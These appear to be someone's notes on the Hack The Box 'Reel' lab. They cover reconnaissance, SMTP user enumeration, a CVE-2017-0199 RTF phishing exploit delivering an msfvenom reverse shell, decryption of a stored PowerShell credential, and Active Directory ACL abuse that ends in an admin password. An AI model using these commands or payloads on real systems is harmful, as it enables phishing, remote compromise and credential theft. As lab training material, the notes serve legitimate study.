ANON FTP

EXIFTOOL

SMTP USER ENUM

RTF EXPLOIT

XML

Export cliXML

Writeowner Permission

49159/tcp open msrpc Microsoft Windows RPC

Backup Admin

Writedacl rights

```
PORT STATE SERVICE VERSION
21/tcp open ftp
                    Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-29-18 12:19AM <DIR>
                                documents
| ftp-syst:
_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
ssh-hostkey:
2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
__ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
```

FTP

root@kali:/home/kali/Desktop/htb/reel# ftp reel.htb

Connected to reel.htb.

220 Microsoft FTP Service

Name (reel.htb:kali): anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.

Password:

230 User logged in.

Remote system type is Windows_NT.

root@kali:/home/kali/Desktop/htb/reel# cat readme.txt

please email me any rtf format procedures - I'll review and convert.

root@kali:/home/kali/Desktop/htb/reel# ls

Applocker.docx fullscan readme.txt scan 'Windows Event Forwarding.docx'

EXIFTOOL

oot@kali:/home/kali/Desktop/htb/reel# exiftool 'Windows Event Forwarding.docx'

ExifTool Version Number : 12.00

File Name : Windows Event Forwarding.docx

Directory :.

File Size : 14 kB

File Modification Date/Time : 2020:07:13 11:19:37-04:00

File Access Date/Time : 2020:07:13 11:20:20-04:00

File Inode Change Date/Time : 2020:07:13 11:19:37-04:00

File Permissions : rw-r--r--

File Type : DOCX

File Type Extension : docx

 $\label{lem:minimum} \textbf{MIME Type} \qquad : application/vnd.openxmlformats-officed ocument.word processing ml. document$

Zip Required Version : 20

Zip Bit Flag : 0x0006

Zip Compression : Deflated

Zip Modify Date : 1980:01:01 00:00:00

Zip CRC : 0x82872409

Zip Compressed Size : 385

Zip Uncompressed Size : 1422

Zip File Name : [Content_Types].xml

Creator : nico@megabank.com

Revision Number : 4

Create Date : 2017:10:31 18:42:00Z

Modify Date : 2017:10:31 18:51:00Z

Template : Normal.dotm

Total Edit Time : 5 minutes

Pages : 2

Words : 299

Characters : 1709

Application : Microsoft Office Word

Doc Security : None

Lines : 14

Paragraphs : 4

Scale Crop : No

Heading Pairs : Title, 1

Titles Of Parts :

Company :

Links Up To Date : No

Characters With Spaces : 2004

Shared Doc : No

Hyperlinks Changed : No


App Version : 14.0000

Creator : nico@megabank.com

SMTP

root@kali:/home/kali/Desktop/htb/reel# telnet reel.htb 25

root@kali:/home/kali/Desktop/htb/reel# telnet reel.htb 25



root@kali:/home/kali/Desktop/tools/smtp-user-enum/smtp-user-enum-1.2# perl smtp-user-enum.pl -M RCPT -U test-users.txt -t 10.10.10.77

10.10.10.77: reel@htb exists

10.10.10.77: reel@htb.local exists

10.10.10.77: reel@reel.htb exists

10.10.10.77: administrator@htb exists

10.10.10.77: admin@htb exists

10.10.10.77: root@htb exists

10.10.10.77: sadfasdfasdf@htb exists

10.10.10.77: nico@megabank.com exists

RTF EXPLOIT

At the time of Reel's release, there was a popular RTF exploit that was being used very commonly in broad-based attacks, CVE-2017-0199. The Metasploit module description does a good job explaining it at a high level:

Description: This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a olelink object can make a http(s) request, and execute hta code in response. This bug was originally seen being exploited in the wild starting in Oct 2016. This module was created by reversing a public malware sample.

First, I'll use msfvenon to generate an HTA file that will give me a reverse shell:

root@kali:/home/kali/Desktop/htb/reel# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.27 LPORT=443 -f hta-psh -o msfv.hta

Next, I'll create an RTF file, using scripts from $\underline{\text{this GitHub}}$ and the following options:

https://github.com/bhdresh/CVE-2017-0199

root@kali:/home/kali/Desktop/htb/reel# python toolkit.py -M gen -w invoice.rtf -u http://10.10.14.27/msfv.hta -t rtf -x 0 Generating normal RTF payload.

Generated invoice.rtf successfull

With the document's prepped, I'll start a python http.server to serve the hta file, a nc listener to catch my shell, and then send the phish. I'll use sendemail with the following options:

root@kali:/home/kali/Desktop/htb/reel# python -m SimpleHTTPServer 80

root@kali:/home/kali# nc -nlvp 443

root@kali:/home/kali/Desktop/htb/reel# sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.10.10.77 -v

- -f from address, can be anything as long as the domain exists
- -t to address, nico@megabank.com

- -u subject
- -m body
- -a attachment
- -s smtp server
- -v verbose

SHELL GAINED!!!!!

C:\Users\nico\Desktop>type cred.xml

type cred.xml

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">

<Obj Refld="0">

<TN RefId="0">

<T>System.Management.Automation.PSCredential</T>

<T>System.Object</T>

</TN>

<ToString>System.Management.Automation.PSCredential</ToString>

<Props>

<S N="UserName">HTB\Tom

<SS

</Props>

</Obj>

</Objs>

PowerShell has this object called a PSCredential, which provides a method to store usernames, passwords, and credentials. There's also two functions, Import-CliXml and Export-CliXml, which are used to save these credentials to and restore them from a file. This file is the output of Export-CliXml.

C:\Users\nico\Desktop>powershell -c "\$cred = Import-CliXml -Path cred.xml; \$cred.GetNetworkCredential() | Format-List *"

powershell -c "\$cred = Import-CliXml -Path cred.xml; \$cred.GetNetworkCredential() | Format-List *"

UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Ssh tom@reel.htb
1ts-mag1c!!!
TOM USER!!!
tom@REEL C:\Users\tom\Desktop\AD Audit>type note.txt
Findings:
Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).
Maybe we should re-run Cypher query against other groups we've created.
tom@REEL C:\Users\tom\Desktop\AD Audit>
Privesc: tom -> claire
PS C:\Users\tom\Desktop\AD Audit\BloodHound>\PowerView.ps1
Next, I'll set tom as the owner of claire's ACL:
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -identity claire -OwnerIdentity tom
Next, I'll give tom permissions to change passwords on that ACL:
DS CALICONS tom Decision AD Audit Discollary Add Demain Chicat Ad Torget Identity clairs Dring inclidentity tom
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom - Rights ResetPassword
Now, I'll create a credential, and then set claire's password
PS C:\Users\tom\Desktop\AD Audit\BloodHound> \$cred = ConvertTo-SecureString "qwer1234QWER!@#\$" -AsPlainText - force
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -identity claire -accountpassword \$cred

CLAIRE USER!!!!!!	
https://0xdf.gitlab.io/2018/11/10/htb-reel.html	
Privesc: claire -> Backup_Admins	
From the analysis before, I know that claire has WriteDacl rights on the Backup_Admins group. I can use that to add her to the group. First, see that the only member of the group is ranj:	
claire@REEL C:\Users\claire>net group backup_admins	
Group name Backup_Admins	
Comment	
Members	
ranj	
The command completed successfully.	
claire@REEL C:\Users\claire>net group backup_admins claire /add	
claire@REEL C:\Users\claire>net group backup_admins	
Group name Backup_Admins	
Comment	
Members	

Ssh claire@reel.htb

claire

ranj

Back in as claire and in Backup_Admins, I can check the premissions on the Administrator folder:

claire@REEL C:\Users>icacls Administrator

Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)

HTB\Backup_Admins:(OI)(CI)(F)

HTB\Administrator:(OI)(CI)(F)

BUILTIN\Administrators:(OI)(CI)(F)

Successfully processed 1 files; Failed processing

claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>type BackupScript.ps1

admin password

\$password="Cr4ckMeIfYouC4n!"